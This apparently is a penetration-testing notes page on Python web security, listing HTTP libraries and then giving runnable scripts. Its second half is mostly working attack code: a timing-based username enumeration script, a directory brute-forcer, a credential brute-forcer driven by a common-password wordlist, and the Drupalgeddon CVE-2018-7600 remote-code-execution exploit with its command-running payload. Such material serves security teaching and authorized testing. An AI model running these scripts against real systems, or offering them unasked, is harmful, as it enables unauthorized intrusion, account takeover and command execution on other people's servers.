Python Web Security
General Web Libraries
urillib
uribil2
urllib3
httplib
httplib2
Requests (Best)
Supports Authentication (Basic,Digest,Kerberos,NTLM,AWS,OAuth1)
Handles SSL
Export specific header
r.headers['server'], r.headers['user-agent']
General Security Libraries
scapy (interacting with packets)
nmap (network scanner)
bs4 (scrape information from web pages)
yara (finds patterns within data by strings or regex patterns) (Made by VirusTotal)
Examples
GET request and print response (Request lib)
#!/usr/bin/python3
import requests
r = requests.get('http://www.google.com')
print (r.text)
GET request and Basic Authentication (Request lib)
#!/usr/bin/python3
import requests
r = requests.get('http://www.test.com/basic',auth=('bob','Password1'))
print (r.text)
# Print response status code
print (r.status_code)
# Print all headers as dictionary
print (r.headers)
# Print round-trip time
print (r.elapsed.total_seconds)
Py2 - GET request and Basic Authentication (urrlib2 lib)
#!/usr/bin/python
import urllib2, base64
r = urllib2.Request("http://www.test.com/basic")
b64 = base64.encodestring('%s:%s' %('bob','Password1')).replace('\n', '')
r.add_header("Authorization", "Basic %s" % b64)
result = urllib2.urlopen(r)
print result.read()
POST request
#!/usr/bin/python3
import requests
r = requests.post('http://www.test.com/formauth.php', data={'user':'bob','pass':'Password1','button':'Login'})
print (r.text)
HTTPS GET request with invalid cert
#!/usr/bin/python3
import requests
# Set verify=False to avoid errors for self-signed x.509 certificates
r = requests.get('https://www.test.com/',verify=False)
print (r.text)
Timing username harvesting attack
Use case: Testing timing username harvesting attack against Login page, knowing login (1 letter first name, last name) pattern, we go through alphabet + list of last names we got from OSINT against login page. Script will print request roundtrip time + username so we can see if site is vulnerable to attack.
#!/usr/bin/python3
import requests
# asci_lowercase is the string 'abcdefghijklmnopqrstuvwxyz'
from string import ascii_lowercase
with open('user_dictionary.txt') as f:
# Following line reads each line of users_dictionary into python list
# splitlines() removes the newlinses at the end of each line
lines = f.read().splitlines()
# Loop through each name
for lname in lines:
for init in ascii_lowercase:
# Combine letter with last name
username=init+lname
# Requests
r = requests.post('http://www.test.com/securelogin.php', data = {'user':username,'pass':'badpass','button':'Login'})
roundtrip = r.elapsed.total_seconds()
print (str(roundtrip)+": "+username)
# Following command can be run to sort and show longest roundtrip
# ./script.py | sort -n | tail -15
Forced Directory script
Use case: Script runs through aaa through zzz (17,576 requests) and tries to directory brute force. Will return code and url if a 200 or else is found.
#!/usr/bin/python3
import requests
# ascii_lowercase is the string 'abcdefghijklmnopqrstuvwxyz'
from string import ascii_lowercase
url="http://www.test.com/" # Base URL
for one in ascii_lowercase:
for two in ascii_lowercase:
for three in ascii_lowercase:
# this section will run 17,576 times
directory=one+two+three # directory will be 'aaa' through 'zzz'
# Request http://www.test.com/aaa (etc...)
r = requests.get(url+directory)
# if status code is not "Not Found" (404) print url with status code
if r.status_code != 404:
print (url+directory+": "+str(r.status_code))
Drupalgeddon python exploit made by Vitalii Rudnykh https://github.com/a2u/CVE-2018-7600
#!/usr/bin/env python3
import sys
import requests
target = input('Enter target url (example: https://domain.ltd/): ')
# Add proxy support (eg. BURP to analyze HTTP(s) traffic)
# set verify = False if your proxy certificate is self signed
# remember to set proxies both for http and https
#
# example:
# proxies = {'http': 'http://127.0.0.1:8080', 'https': 'http://127.0.0.1:8080'}
# verify = False
proxies = {}
verify = True
url = target + 'user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax'
payload = {'form_id': 'user_register_form', '_drupal_ajax': '1', 'mail[#post_render][]': 'exec', 'mail[#type]': 'markup', 'mail[#markup]': 'echo "EXPLOITED" | tee hello.txt'}
r = requests.post(url, proxies=proxies, data=payload, verify=verify)
check = requests.get(target + 'hello.txt', proxies=proxies, verify=verify)
if check.status_code != 200:
sys.exit("Not exploitable")
print ('\nCheck: '+target+'hello.txt')
Basic Authentication Brute Force
#!/usr/bin/python3
import requests
char="1234567890!@#\$%\^&\*()_+="
user="ford"
url="http://www.test.com/basic/"
with open('/opt/wordlists/splashdata-worst-passwords-2018.txt') as f:
passlist = f.read().splitlines()
for passbase in passlist:
for char1 in char:
for char2 in char:
password = passbase+char1+char2
r = requests.get(url, auth=(user,password))
if r.status_code == 200:
print (str(r.status_code)+": "+user+": "+password)
References
ByteScout's Python Web Sec: https://bytescout.com/blog/python-tutorial-web-app-security.html
Last updated
Was this helpful?